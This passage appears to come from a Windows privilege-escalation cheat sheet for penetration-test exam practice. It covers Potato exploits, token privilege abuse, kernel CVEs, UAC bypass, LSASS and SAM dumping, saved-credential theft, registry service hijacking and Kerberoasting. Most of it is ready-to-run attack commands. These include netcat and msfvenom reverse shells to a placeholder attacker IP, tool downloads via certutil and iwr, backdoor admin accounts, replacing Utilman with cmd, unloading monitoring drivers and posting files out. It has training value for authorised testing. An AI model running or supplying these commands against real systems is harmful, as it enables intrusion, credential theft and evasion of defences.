{{WPATH}}\ep.exe "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe"
HotPotato (CVE-2016-3225 - Win7 / Server 2008 R2 only)
⚠️ Legacy only - Works on Win7, Server 2008 R2. Does NOT work on Win10/Server 2019+. Uses NBNS spoofing + NTLM relay + WPAD.
TRANSFER
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/HotPotato.exe {{WPATH}}\hp.exe
REV SHELL
{{WPATH}}\hp.exe -ip 127.0.0.1 -disable_exhaust true -cmd "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"
ADD ADMIN
{{WPATH}}\hp.exe -ip 127.0.0.1 -disable_exhaust true -cmd "net user pwned Password123! /add && net localgroup Administrators pwned /add"
Churrasco (Windows XP / 2003 / Vista - very old systems)
⚠️ Very old systems only - Windows XP SP3, Server 2003. Uses named pipe impersonation (no DCOM). Use when JuicyPotato/GodPotato don't work.
TRANSFER
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/churrasco.exe {{WPATH}}\churrasco.exe
TEST
{{WPATH}}\churrasco.exe "whoami"
REV SHELL
{{WPATH}}\churrasco.exe "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"
ADD ADMIN
{{WPATH}}\churrasco.exe "net user pwned Password123! /add && net localgroup Administrators pwned /add"
DCOMPotato - DCOM Object Abuse (Win7 / Server 2008 R2+)
⚠️ Source-only - no public precompiled binary. Compile from source: github.com/zcgonvh/DCOMPotato. Targets Windows 7, 8, 10 / Server 2008 R2, 2012, 2016, 2019. Exploits insecure DCOM configurations for SYSTEM impersonation.
Exam tip: If you need DCOM potato on exam day and don't have DCOMPotato pre-compiled, use GodPotato instead - same attack surface, precompiled, works on all versions.
TRANSFER (if self-compiled)
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/DCOMPotato.exe {{WPATH}}\DCOMPotato.exe
TEST
{{WPATH}}\DCOMPotato.exe -c "C:\Windows\System32\cmd.exe"
REV SHELL
{{WPATH}}\DCOMPotato.exe -c "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"
ADD ADMIN
{{WPATH}}\DCOMPotato.exe -c "net user pwned Password123! /add"
{{WPATH}}\DCOMPotato.exe -c "net localgroup Administrators pwned /add"
RottenPotato - Legacy DCOM/NTLM (Largely superseded)
⚠️ Legacy only - use JuicyPotato or GodPotato instead. RottenPotato was the original impersonation exploit. JuicyPotato is the improved version. Only use if newer tools fail on very old targets.
TRANSFER
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/RottenPotato.exe {{WPATH}}\RottenPotato.exe
RUN
{{WPATH}}\RottenPotato.exe
# If this fails, upgrade to JuicyPotato (same technique, more reliable)
Decision: RottenPotato → JuicyPotato → GodPotato. Always prefer GodPotato first as it covers all Windows versions.
📝 Notes
7.15
Kernel CVEs & Token Privilege Exploits
Check OS build BEFORE running any exploit - architecture matters
EXPLOITPRIVESC
⚠ Always Check Architecture First systeminfo | findstr /i "Build\|Architecture" - Running x64 exploit on x86 target = crash. Match the exploit binary to the target.
CVE-2023-29360 - Kernel Streaming Service LPE (mskssrv.sys)
Impacted: Win10 (1607+, 1809, 21H2, 22H2), Win11 (21H2, 22H2), Server 2016/2019/2022. Fix: KB5027215
systeminfo | findstr /i "Build"
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/CVE-2023-29360.exe -Outfile {{WPATH}}\CVE-2023-29360.exe
{{WPATH}}\CVE-2023-29360.exe
SeBackupPrivilege Abuse
Detect
whoami /priv | findstr SeBackup
Method A - copy SAM/SYSTEM hive (non-DC machines)
reg save hklm\sam {{WPATH}}\sam.hive
reg save hklm\system {{WPATH}}\system.hive
reg save hklm\security {{WPATH}}\security.hive
# Transfer to Kali then:
impacket-secretsdump -system system.hive -sam sam.hive -security security.hive local
Method B - Domain Controller: copy NTDS.dit (contains ALL domain hashes)
# SeBackupPrivilege lets robocopy bypass ACLs - /B = backup mode, /ZB = resume fallback
robocopy /B /ZB C:\Windows\NTDS {{WPATH}}\ntds_copy
reg save hklm\system {{WPATH}}\system.hive
# Transfer ntds.dit + system.hive to Kali, then:
impacket-secretsdump -ntds {{WPATH}}\ntds_copy\ntds.dit -system system.hive LOCAL
Method B (Alternative) - diskshadow + robocopy
# Create shadow.txt first (each command MUST be on its own line; first line MUST be a # comment):
echo # diskshadow script > {{WPATH}}\shadow.txt
echo set context persistent nowriters >> {{WPATH}}\shadow.txt
echo add volume c: alias mysnap >> {{WPATH}}\shadow.txt
echo create >> {{WPATH}}\shadow.txt
echo expose %mysnap% z: >> {{WPATH}}\shadow.txt
diskshadow /s {{WPATH}}\shadow.txt
robocopy /B Z:\Windows\NTDS {{WPATH}}\ntds_copy ntds.dit
Pass the Hash after extraction
impacket-psexec {{DOMAIN}}/Administrator@{{TARGET}} -hashes :NTLM_HASH
evil-winrm -i {{TARGET}} -u Administrator -H NTLM_HASH
SeDebugPrivilege Abuse
Detect
whoami /priv | findstr SeDebug
Get winlogon.exe PID (safe inject target - do NOT inject into services.exe, crashes the SCM)
tasklist /fi "IMAGENAME eq winlogon.exe"
# Alternative target: lsass.exe (also runs as SYSTEM)
tasklist /fi "IMAGENAME eq lsass.exe"
TRANSFER - download exploit tool to target first
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SeDebugPrivesc.exe -Outfile {{WPATH}}\SeDebugPrivesc.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/SeDebugPrivesc.exe {{WPATH}}\SeDebugPrivesc.exe - CMD
Exploit - inject into SYSTEM process
{{WPATH}}\SeDebugPrivesc.exe <WINLOGON_PID> cmd.exe
Alternative - dump LSASS (requires SeDebug)
powershell -c "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id {{WPATH}}\lsass.dmp full"
SeManageVolumePrivilege Abuse - Full Attack Chain
💡 Seen on PG Practice "Access" box. svc_mssql and other backup/volume service accounts frequently hold this privilege. It grants full DACL modification rights on the C:\ volume root - enough to plant a DLL in any System32 subdirectory.
1. DETECT - confirm privilege is present
Check for SeManageVolumePrivilege
whoami /priv | findstr SeManageVolume
# Enabled or Disabled - both work. Disabled = enable with FullPowers first.
2. TRANSFER exploit binary from Kali
Download SeManageVolumeExploit.exe to target
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SeManageVolumeExploit.exe -Outfile {{WPATH}}\sme.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/SeManageVolumeExploit.exe {{WPATH}}\sme.exe - CMD
3. EXPLOIT - grant Everyone:FullControl on C:\
Run the exploit (no admin required)
{{WPATH}}\sme.exe
# Output: "Took ownership of C:\ - Everyone:FullControl granted"
# Verify: icacls C:\
4. GENERATE malicious DLL on Kali
Option A - PrintConfig.dll (triggered via PrintNotify CLSID)
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o PrintConfig.dll
Option B - tzres.dll (triggered via systeminfo)
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o tzres.dll
5. PLACE the DLL on the target
For PrintConfig.dll path
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/PrintConfig.dll -OutFile "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll"
For tzres.dll path
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/tzres.dll -OutFile "C:\Windows\System32\wbem\tzres.dll"
6. LISTEN on Kali
Start listener before triggering
nc -lvnp {{RPORT}}
7. TRIGGER - choose method based on DLL placed
Trigger A - PrintNotify via CLSID (PrintConfig.dll)
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)
Trigger B - systeminfo (tzres.dll)
systeminfo
# Loads wbem\tzres.dll as NetworkService context → shell callback
Alternative DLL Trigger Paths
💡 Multiple trigger paths exist. After SeManageVolumeExploit grants full C:\ write, you can plant a DLL in many locations. Choose based on which services are running and what context you need.
DLL PathTrigger MethodRuns AsReboot?
C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll PowerShell: $type=[Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}"); [Activator]::CreateInstance($type) SYSTEM No
C:\Windows\System32\wbem\tzres.dll Run systeminfo NetworkService No
C:\Windows\System32\wbem\wbemcomn.dll Restart IP Helper service: sc stop iphlpsvc && sc start iphlpsvc SYSTEM No
C:\Windows\System32\wbem\dxgi.dll Windows Security → check for protection update SYSTEM No
C:\Windows\System32\wlbsctrl.dll sc stop IKEEXT && sc start IKEEXT SYSTEM Needs IKEEXT running
C:\Windows\System32\ualapi.dll Spooler service restart: sc stop spooler && sc start spooler SYSTEM No
C:\Windows\System32\phoneinfo.dll Windows Problem Reporting (WER) SYSTEM No (@jonasLyk)
C:\Windows\System32\wpcoreutil.dll Start Windows Insider via wisvc service SYSTEM No
Quick check - which triggerable services are running?
sc query IKEEXT | findstr STATE
sc query spooler | findstr STATE
sc query iphlpsvc | findstr STATE
sc query wisvc | findstr STATE
SeRestorePrivilege Abuse
Detect
whoami /priv | findstr SeRestore
BACKUP - save utilman.exe before replacing (critical!)
copy C:\Windows\system32\Utilman.exe C:\Windows\system32\Utilman.exe.bak
Option 1: Replace utilman.exe → Win+U at login screen gives SYSTEM shell
cd C:\Windows\system32
ren Utilman.exe Utilman.old
ren cmd.exe Utilman.exe
# TRIGGER: lock screen (Win+L) or RDP → at login screen press Win+U → SYSTEM CMD appears
RESTORE Option 1: put utilman.exe back
cd C:\Windows\system32
ren Utilman.exe cmd.exe
ren Utilman.old Utilman.exe
# OR from backup: copy Utilman.exe.bak Utilman.exe
Option 2: SeRestoreAbuse.exe (cleaner - doesn't touch system32)
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SeRestoreAbuse.exe -Outfile {{WPATH}}\SeRestoreAbuse.exe
{{WPATH}}\SeRestoreAbuse.exe "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e powershell.exe"
Option 2b: msfvenom payload via SeRestoreAbuse
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f exe -o ~/privesc-toolkit/payload.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/payload.exe -Outfile {{WPATH}}\payload.exe
{{WPATH}}\SeRestoreAbuse.exe {{WPATH}}\payload.exe
SeTakeOwnershipPrivilege Abuse
BACKUP - save utilman.exe before replacing
copy C:\Windows\system32\Utilman.exe C:\Windows\system32\Utilman.exe.bak
Take ownership of the specific file (NOT the whole directory - /r on system32 is dangerous and slow)
# Target the specific file, not the directory:
takeown.exe /f C:\Windows\system32\Utilman.exe
icacls.exe C:\Windows\system32\Utilman.exe /grant "%username%":F
# Verify you now own it:
icacls C:\Windows\system32\Utilman.exe
copy C:\Windows\system32\cmd.exe C:\Windows\system32\Utilman.exe
# TRIGGER: lock screen → at login press Win+U → SYSTEM CMD
# ⚠️ Only works if RDP port 3389 is open: netstat -ano | findstr ":3389"
RESTORE - put utilman.exe back after use
cd C:\Windows\system32
ren Utilman.exe cmd.exe
ren Utilman.old Utilman.exe
# OR: copy Utilman.exe.bak Utilman.exe
SeAssignPrimaryTokenPrivilege Abuse
Same as SeImpersonate - use the full Potato family (§7.14). JuicyPotato and RoguePotato both work with this.
SeLoadDriverPrivilege Abuse
Detect
whoami /priv | findstr SeLoadDriver
Step 1: Download tools - vulnerable driver + loader + exploit
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/Capcom.sys -Outfile {{WPATH}}\Capcom.sys
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/eoploaddriver_x64.exe -Outfile {{WPATH}}\eoploaddriver_x64.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/ExploitCapcom.exe -Outfile {{WPATH}}\ExploitCapcom.exe
Step 2: Load the vulnerable driver via registry (no admin required with SeLoadDriver)
{{WPATH}}\eoploaddriver_x64.exe System\CurrentControlSet\dfserv {{WPATH}}\Capcom.sys
Step 3: Exploit the loaded driver - spawn SYSTEM shell (k4sth4 fork: EXPLOIT syntax)
{{WPATH}}\ExploitCapcom.exe EXPLOIT "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"
Alternative: Unload security/monitoring drivers with fltMC (disables some AV)
# List loaded drivers:
fltMC
# Unload a driver (e.g., sysmondrv):
fltMC unload sysmondrv
RESTORE - remove loaded driver from registry after exploit
reg delete HKLM\System\CurrentControlSet\dfserv /f 2>nul
PrintNightmare LPE - CVE-2021-1675 (unpatched Print Spooler + no KB5004945)
Detect - check Spooler running AND patch absent
sc query spooler | findstr RUNNING
systeminfo | findstr /i "KB5004945\|KB5004946\|KB5004947\|KB5004948\|KB5004960"
# Spooler RUNNING + none of those KBs → likely vulnerable (pre-July 2021)
Exploit via calebstewart PowerShell PoC
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/CVE-2021-1675.ps1 -Outfile {{WPATH}}\pn.ps1
. {{WPATH}}\pn.ps1
# Add admin user:
Invoke-Nightmare -NewUser "pwned" -NewPassword "Password123!" -DriverName "Print"
net localgroup administrators pwned  # verify
📝 Notes
7.15b
🔬 Windows Kernel Exploit Reference
wesng workflow + quick-reference CVE table - paste systeminfo into the Parse button for auto-detection
EXPLOITCVE
💡 Use the Parse button (top bar) first. Paste full systeminfo output into the SI Parser - it auto-matches CVEs and checks hotfixes. This section is a quick manual reference and wesng workflow for when you want command-line verification.
Step 1 - Get systeminfo on Target
Run on target, save to file
systeminfo
systeminfo > C:\Users\Public\sysinfo.txt
Transfer to Kali via your HTTP server or SMB
iwr -uri http://{{KALI_IP}}:{{PORT}}/sysinfo.txt -Outfile {{WPATH}}\sysinfo.txt  # wrong direction
# Correct: exfil from target to Kali
Invoke-WebRequest -Uri "http://{{KALI_IP}}:{{PORT}}/upload" -Method Post -InFile C:\Users\Public\sysinfo.txt
# Or: just copy the output and paste into the Parse button
Step 2 - wesng Workflow on Kali
wesng = Windows Exploit Suggester Next Generation. Feed it the raw systeminfo output and it returns CVEs filtered by exploit availability.
Install / update wesng
git clone https://github.com/bitsadmin/wesng.git
python3 wesng/wes.py --update
Run against saved systeminfo output
python3 wesng/wes.py sysinfo.txt -i 'Elevation of Privilege' --exploits-only
# Filter to specific severity:
python3 wesng/wes.py sysinfo.txt -i 'Elevation of Privilege' --exploits-only --severity Important
Cross-reference with Watson on target (no outbound net needed)
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/Watson.exe -Outfile {{WPATH}}\Watson.exe
{{WPATH}}\Watson.exe
Quick Reference - Top Windows Kernel / LPE CVEs
CVENameBuilds AffectedToolPatch KB
CVE-2021-1675 PrintNightmare LPE 14393-22000 (Win10 all, Srv2016/2019) SharpPrintNightmare KB5004945
CVE-2020-0796 SMBGhost 18362 / 18363 / 19041 chompie1337 PoC KB4551762
CVE-2021-36934 HiveNightmare / SeriousSAM 17763-19044 (Win10 1809-21H2 + Win11 22000) GossiTheDog/HiveNightmare KB5005010
CVE-2022-21999 SpoolFool 19041-19044, 17763, 14393 ly4k/SpoolFool KB5010342
CVE-2022-26923 Certifried (ADCS) 19041-19043, 17763, 14393 ly4k/Certifried KB5014754
CVE-2023-21746 LocalPotato 19041-19045, 22000, 22621 decoder-it/LocalPotato KB5022282
CVE-2023-28252 CLFS LPE (Nokoyawa) 19041-19045, 22000, 22621, 17763 fortra/CVE-2023-28252 KB5025221
CVE-2024-21338 appid.sys LPE (PPL bypass) 19041-19045, 22000, 22621 Crowdfense/CVE-2024-21338 KB5034763
CVE-2019-1458 WizardOpium 17763, 17134, 16299, 15063, 14393, 10586, 10240 unamer/CVE-2019-1458 KB4530684
CVE-2019-0708 BlueKeep (RDP RCE) 7601 (Win7/Srv2008R2), 9200 (Srv2012) - NOT Win8.1+ Metasploit: exploit/windows/rdp/cve_2019_0708_bluekeep_rce KB4499175
CVE-2017-0144 EternalBlue / MS17-010 7601, 9200, 9600 (Win7/Srv2008R2/Srv2012) AutoBlue-MS17-010 KB4012212
CVE-2016-3225 MS16-075 Hot Potato 10240, 9600, 9200, 7601 foxglovesec/Potato KB3164038
CVE-2023-29360 Kernel LPE (mskssrv.sys) 19041-19045, 22000, 22621 Wh04m1001/CVE-2023-29360 KB5027215
HiveNightmare / SeriousSAM - CVE-2021-36934
⚠ No exploit binary needed. Builds 19041-19044 have world-readable SAM/SECURITY/SYSTEM hives. Any local user can dump them directly.
Check if vulnerable (any user can read SAM)
icacls C:\Windows\System32\config\SAM
# If "BUILTIN\Users:(I)(RX)" → VULNERABLE
Copy hives as regular user (no tools needed)
reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
reg save HKLM\SECURITY C:\Users\Public\SECURITY
Alternative - from Volume Shadow Copy (also readable)
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Users\Public\SAM
Dump hashes on Kali
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
SpoolFool - CVE-2022-21999
Detect - check Spooler running + patch absent
sc query spooler | findstr RUNNING
systeminfo | findstr KB5010342
# Spooler RUNNING + no KB5010342 → likely vulnerable
Exploit
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SpoolFool.exe -Outfile {{WPATH}}\SpoolFool.exe
{{WPATH}}\SpoolFool.exe -dll {{WPATH}}\evil.dll
Generate DLL on Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o evil.dll
📝 Notes
7.16
UAC Bypass
Already local admin but stuck with medium integrity? Bypass UAC to get high integrity
PRIVESCNEW
When to Use Check: whoami /groups | findstr /i "S-1-16-8192" - if Medium Mandatory Level, UAC is in effect. Already admin but can't do admin things? UAC bypass will get you to High Mandatory Level.
1. DETECT - check UAC level and your integrity
Check if UAC is enabled and what level
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
ConsentPromptBehaviorAdmin values:
  • 0 - No prompts - bypasses are unnecessary (already elevated)
  • 0 - No prompts - elevation is automatic → UAC bypass unnecessary
  • 1 - Prompt credentials on secure desktop - most bypasses fail (interactive cred required)
  • 2 - Prompt consent on secure desktop - many auto-elevation bypasses still work (fodhelper/eventvwr skip the prompt entirely); test before assuming blocked
  • 5 (default) - Prompt consent for non-Windows binaries - bypasses work reliably
Attempt bypass if value = 5 or 2 or 0. Only value = 1 reliably blocks most methods.
2. CONFIRM - verify you are medium integrity (not already high)
whoami /groups | findstr /i "S-1-16-8192"
# Medium Mandatory Level = UAC restricted token (S-1-16-8192) → bypass needed
# High Mandatory Level = full admin token (S-1-16-12288) → no bypass needed
whoami /groups | findstr /i "Administrators"
# Must be in Administrators group to use UAC bypass
3. EXPLOIT
TRANSFER - nc64.exe needed for reverse shell payload
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe -Outfile {{WPATH}}\nc64.exe
# fodhelper.exe bypass (Win10 - very reliable)
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe
# eventvwr.exe bypass
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /d "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}" /f
eventvwr.exe
# Cleanup after success
reg delete HKCU\Software\Classes\ms-settings /f 2>nul
reg delete HKCU\Software\Classes\mscfile /f 2>nul
4. VERIFY
whoami /groups | findstr /i "S-1-16-12288"
# High Mandatory Level = success
📝 Notes
7.17
LSASS Dump
Dump LSASS memory to extract plaintext passwords and NTLM hashes
CREDSNEW
Requires Admin/SeDebug LSASS dump requires local admin or SeDebugPrivilege. Defender usually blocks obvious methods - use comsvcs.dll method which is more stealthy.
1. DETECT - check prerequisites BEFORE attempting dump
Confirm SeDebugPrivilege is Enabled (not just Listed)
whoami /priv | findstr /i "SeDebug"
# SeDebugPrivilege  Enabled = can open LSASS handle
Check RunAsPPL (LSA Protection) - if enabled, most methods fail silently
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags
# 0x0 or key absent = PPL disabled → all dump methods work
# 0x1 = PPL enabled → procdump, comsvcs.dll, mimikatz FAIL silently
# 0x2 = PPL Light (Win11/Server 2022) → ALSO blocks standard tools
# Check LsaCfgFlags too - GPO may enforce PPL without setting RunAsPPL directly
Check Credential Guard running state (NOT just VBS enabled - must check active services)
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Select SecurityServicesRunning
# SecurityServicesRunning = 1 or 2 → Credential Guard ACTIVE → plaintext extraction fails
# SecurityServicesRunning = 0 or empty → not running → mimikatz sekurlsa may work
reg query HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity 2>nul
# Note: EnableVirtualizationBasedSecurity=1 means VBS is configured but NOT necessarily running
Check if WDigest enabled (enables plaintext password caching)
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
# 0x1 = plaintext in LSASS | 0x0 = hashes only
TRANSFER - download dump tools to target
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/procdump.exe -Outfile {{WPATH}}\procdump.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe -Outfile {{WPATH}}\mimikatz.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/procdump.exe {{WPATH}}\procdump.exe - CMD
Get LSASS PID
tasklist /fi "imagename eq lsass.exe"
Get-Process lsass
Method 1: comsvcs.dll (most stealthy, built-in)
powershell -c "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id {{WPATH}}\lsass.dmp full"
Method 2: procdump (Sysinternals)
{{WPATH}}\procdump.exe -accepteula -ma lsass.exe {{WPATH}}\lsass.dmp
Method 3: Mimikatz live
{{WPATH}}\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
Parse dump on Kali
pypykatz lsa minidump lsass.dmp
📝 Notes
7.18
Credential Manager
Saved Windows credentials - often contains RDP/SMB creds for pivoting
CREDSNEW
TRANSFER - download credential extraction tools
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe -Outfile {{WPATH}}\mimikatz.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/RunasCs.exe -Outfile {{WPATH}}\RunasCs.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe -Outfile {{WPATH}}\nc64.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe {{WPATH}}\mimikatz.exe - CMD
List all saved credentials
cmdkey /list
vaultcmd /listcreds:"Windows Credentials"
rundll32.exe keymgr.dll,KRShowKeyMgr - GUI
Interpreting cmdkey /list output:
  • Type: Generic - application credential (e.g. WinSCP, git) → runas /savecred may work
  • Type: Domain Password - Windows domain credential → usable with runas /savecred /user:DOMAIN\user
  • Type: Certificate - certificate-based auth → extract with SharpDPAPI/mimikatz
  • Target: MicrosoftOffice* - O365 creds → decrypt with SharpDPAPI
  • Target: TERMSRV/* - RDP saved password → use with runas /savecred for that host
Use saved credentials to execute as that user (no password needed)
runas /savecred /user:{{DOMAIN}}\{{USER}} cmd.exe
runas /savecred /user:{{USER}} "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"
DPAPI credential extraction with Mimikatz
dir %APPDATA%\Microsoft\Credentials\
dir %LOCALAPPDATA%\Microsoft\Credentials\
{{WPATH}}\mimikatz.exe "vault::cred" "dpapi::cred /in:C:\path\to\credential" exit
📝 Notes
7.19
Weak Registry Service DACL
Modify service ImagePath in registry if you have write access to that key
PRIVESCNEW
1. DETECT - find registry service keys writable by current user
accesschk - list all services where Users/Authenticated Users can write
{{WPATH}}\accesschk.exe -uwcqv "Users" HKLM\SYSTEM\CurrentControlSet\Services /accepteula
{{WPATH}}\accesschk.exe -uwcqv "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services /accepteula
CMD fallback - test write on a specific service key (no tools needed)
reg add HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> /v TestWrite /t REG_SZ /d test /f 2>nul
# If succeeds (no error) → key is writable by current user
# Clean up immediately:
reg delete HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> /v TestWrite /f 2>nul
PowerShell - loop all services and check ACL (no tools needed)
Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services | ForEach-Object {
  $acl = Get-Acl $_.PSPath
  if ($acl.AccessToString -match "Users.*(FullControl|SetValue|WriteKey)") {
    Write-Host "WRITABLE: $($_.PSChildName)"
  }
}
2. CONFIRM - read current ImagePath value (you'll restore this later)
Read the current ImagePath - SAVE THIS OUTPUT for the restore step
reg query HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> /v ImagePath
# Example output: ImagePath = {{SVCBIN}}
# Copy this value - you'll need it for RESTORE
Full key details
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\<ServiceName> | Format-List
BACKUP - export the entire registry key before modifying
Export key to .reg file - can be reimported to fully restore
reg export HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> {{WPATH}}\svc_backup.reg /y
dir {{WPATH}}\svc_backup.reg
3. EXPLOIT - overwrite ImagePath to point to your payload
Option A: Point ImagePath to nc64 (catch on Kali: nc -lvnp {{RPORT}})
reg add HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> /v ImagePath /t REG_EXPAND_SZ /d "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}" /f
sc.exe stop <ServiceName>; sc.exe start <ServiceName>
Option B: Point ImagePath to adduser payload
reg add HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> /v ImagePath /t REG_EXPAND_SZ /d "{{WPATH}}\shell.exe" /f
sc.exe stop <ServiceName>; sc.exe start <ServiceName>
4. VERIFY - confirm escalation
whoami
net localgroup Administrators
RESTORE - reimport backup registry key to restore service
Reimport the .reg backup to restore the original ImagePath
sc.exe stop <ServiceName>
reg import {{WPATH}}\svc_backup.reg
sc.exe start <ServiceName>
# Verify:
reg query HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> /v ImagePath
Or manually restore ImagePath if you noted it earlier
reg add HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> /v ImagePath /t REG_EXPAND_SZ /d "{{SVCBIN}}" /f
📝 Notes
7.20
LAPS - Local Admin Password Solution
Read the randomly generated local admin password stored in AD
CREDSPRIVESC
💡 When to check LAPS manages local admin passwords and stores them in the ms-Mcs-AdmPwd AD attribute. If you have domain read access or own a user in an OU, you can read it.
Detect if LAPS is installed
Get-AdmPwdPassword -ComputerName {{TARGET}} | Select-Object ComputerName,Password
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Where-Object {$_.'ms-Mcs-AdmPwd'} | Select Name,'ms-Mcs-AdmPwd'
dir "C:\Program Files\LAPS\CSE\AdmPwd.dll" 2>nul
Read LAPS password (from Kali via impacket)
python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all -dc-ip {{TARGET}} {{DOMAIN}}/{{USER}}:{{PASS}}
ldapsearch -x -H ldap://{{TARGET}} -D "{{DOMAIN}}\{{USER}}" -w {{PASS}} -b "DC=domain,DC=com" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd
Who can read LAPS?
Find-AdmPwdExtendedRights -OUDistinguishedName "OU=Workstations,DC={{DOMAIN}},DC=com" | Format-Table
Get-DomainComputer -Properties ms-Mcs-AdmPwd -LDAPFilter "(ms-Mcs-AdmPwd=*)"
📝 Notes
7.21
Kerberoasting & AS-REP Roasting
Extract TGS tickets and crack offline - no admin required
ADCREDS
💡 When to use Any domain user can request a TGS for any service with an SPN. Crack the ticket offline to get the service account password. AS-REP roasting works on accounts with pre-auth disabled.
⚠️ Hashcat modes: -m 13100 = Kerberoast TGS-REP (hash starts with $krb5tgs$) | -m 18200 = AS-REP Roasting (hash starts with $krb5asrep$). Do NOT mix them up.
Kerberoasting - from Kali (impacket)
Request TGS tickets and save (requires -request flag to get hashes)
impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{TARGET}} -request -output-file kerberoast.txt
List SPNs only (without -request - see what accounts exist first)
impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{TARGET}}
Crack TGS-REP hashes - hashcat mode 13100 = Kerberoast
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt
Kerberoasting - from Windows (Rubeus)
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/Rubeus.exe {{WPATH}}\Rubeus.exe
{{WPATH}}\Rubeus.exe kerberoast /outFile:{{WPATH}}\roasted.txt
{{WPATH}}\Rubeus.exe kerberoast /format:hashcat /outFile:{{WPATH}}\roasted.txt
AS-REP Roasting (pre-auth disabled accounts)
impacket-GetNPUsers {{DOMAIN}}/ -usersfile users.txt -dc-ip {{TARGET}} -format hashcat -output-file asrep.txt
